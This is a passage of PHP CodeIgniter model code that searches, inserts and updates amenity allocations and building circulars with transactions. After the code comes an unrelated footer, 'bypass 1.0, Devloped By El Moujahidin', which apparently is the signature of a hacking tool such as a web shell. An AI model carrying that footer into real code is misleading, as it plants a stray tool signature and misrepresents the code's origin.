    function search_amenities_allocation($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('amenities_allocation');
        $this->db->join('customer','customer_id=amenities_customer_id');
        $this->db->join('amenities','amenities.amenities_id=amenities_allocation.amenities_id','left');
        $this->db->join('master','master_id=amenities_allocation_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('amenities_allocation_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_amenities_allocation($postdata)
    {
        $data=array();
        $this->db->trans_begin();   
        $masterid = $this->mastermodel->insertmasterdata();   
        $date=$this->mastermodel->convertdateformat($postdata['amenities_date']);
        $tblValues=array(
                        'amenities_allocation_id'=>$masterid,
                        'amenities_customer_id'=>$postdata['amenities_customer_id'], 
                        'amenities_id'=>$postdata['amenities_id'],
                        'amenities_payment_mode'=>$postdata['amenities_payment_mode'],                                             
                        'amenities_amount'=>$postdata['amenities_amount'],
                        'amenities_date'=>$date
            );
        $this->db->insert('amenities_allocation', $tblValues);
                                        
        $data['resfunction']='search_amenities_allocation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function update_amenities_allocation($postdata)
    {
        $data=array();
        $this->db->trans_begin();          
        $date=$this->mastermodel->convertdateformat($postdata['amenities_date']);
        $tblValues=array(                     
                        'amenities_customer_id'=>$postdata['amenities_customer_id'], 
                        'amenities_id'=>$postdata['amenities_id'],
                        'amenities_payment_mode'=>$postdata['amenities_payment_mode'],                                             
                        'amenities_amount'=>$postdata['amenities_amount'],
                        'amenities_date'=>$date
            );
        $this->db->where('amenities_allocation_id',$postdata['amenities_allocation_id']);
        $this->db->update('amenities_allocation', $tblValues);                                        
        $data['resfunction']='search_amenities_allocation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    /* functions for circular */
    function search_circular($pagenum)
    {
        $data=array();       
        $this->db->select('*');
        $this->db->from('building_circular');
        $this->db->join('master','master_id=building_circular_id');
        $this->db->where('master.login_type_id',$_SESSION['login_type']);
        $this->db->order_by('building_circular_id','desc');
        $data['results']=$this->db->get();        
        return $data;
    }
    
    function insert_circular($postdata)
    {
        $data=array();
        $this->db->trans_begin();   
        $masterid = $this->mastermodel->insertmasterdata();   
        $date=$this->mastermodel->convertdateformat($postdata['building_circular_date']);
        $tblValues=array(
                        'building_circular_id'=>$masterid,
                        'building_circular_name'=>$postdata['building_circular_name'], 
                        'building_circular_content'=>$postdata['building_circular_content'],
                        'building_circular_email'=>$postdata['building_circular_email'],                                                                   
                        'building_circular_date'=>$date
            );
        $this->db->insert('building_circular', $tblValues);
                                        
        $data['resfunction']='search_circular';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    function update_circular($postdata)
    {
        $data=array();
        $this->db->trans_begin();      
        $date=$this->mastermodel->convertdateformat($postdata['building_circular_date']);
        $tblValues=array(                        
                        'building_circular_name'=>$postdata['building_circular_name'], 
                        'building_circular_content'=>$postdata['building_circular_content'],
                        'building_circular_email'=>$postdata['building_circular_email'],                                                                   
                        'building_circular_date'=>$date
            );
        $this->db->where('building_circular_id',$postdata['building_circular_id']);
        $this->db->update('building_circular', $tblValues);
                                        
        $data['resfunction']='search_circular';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net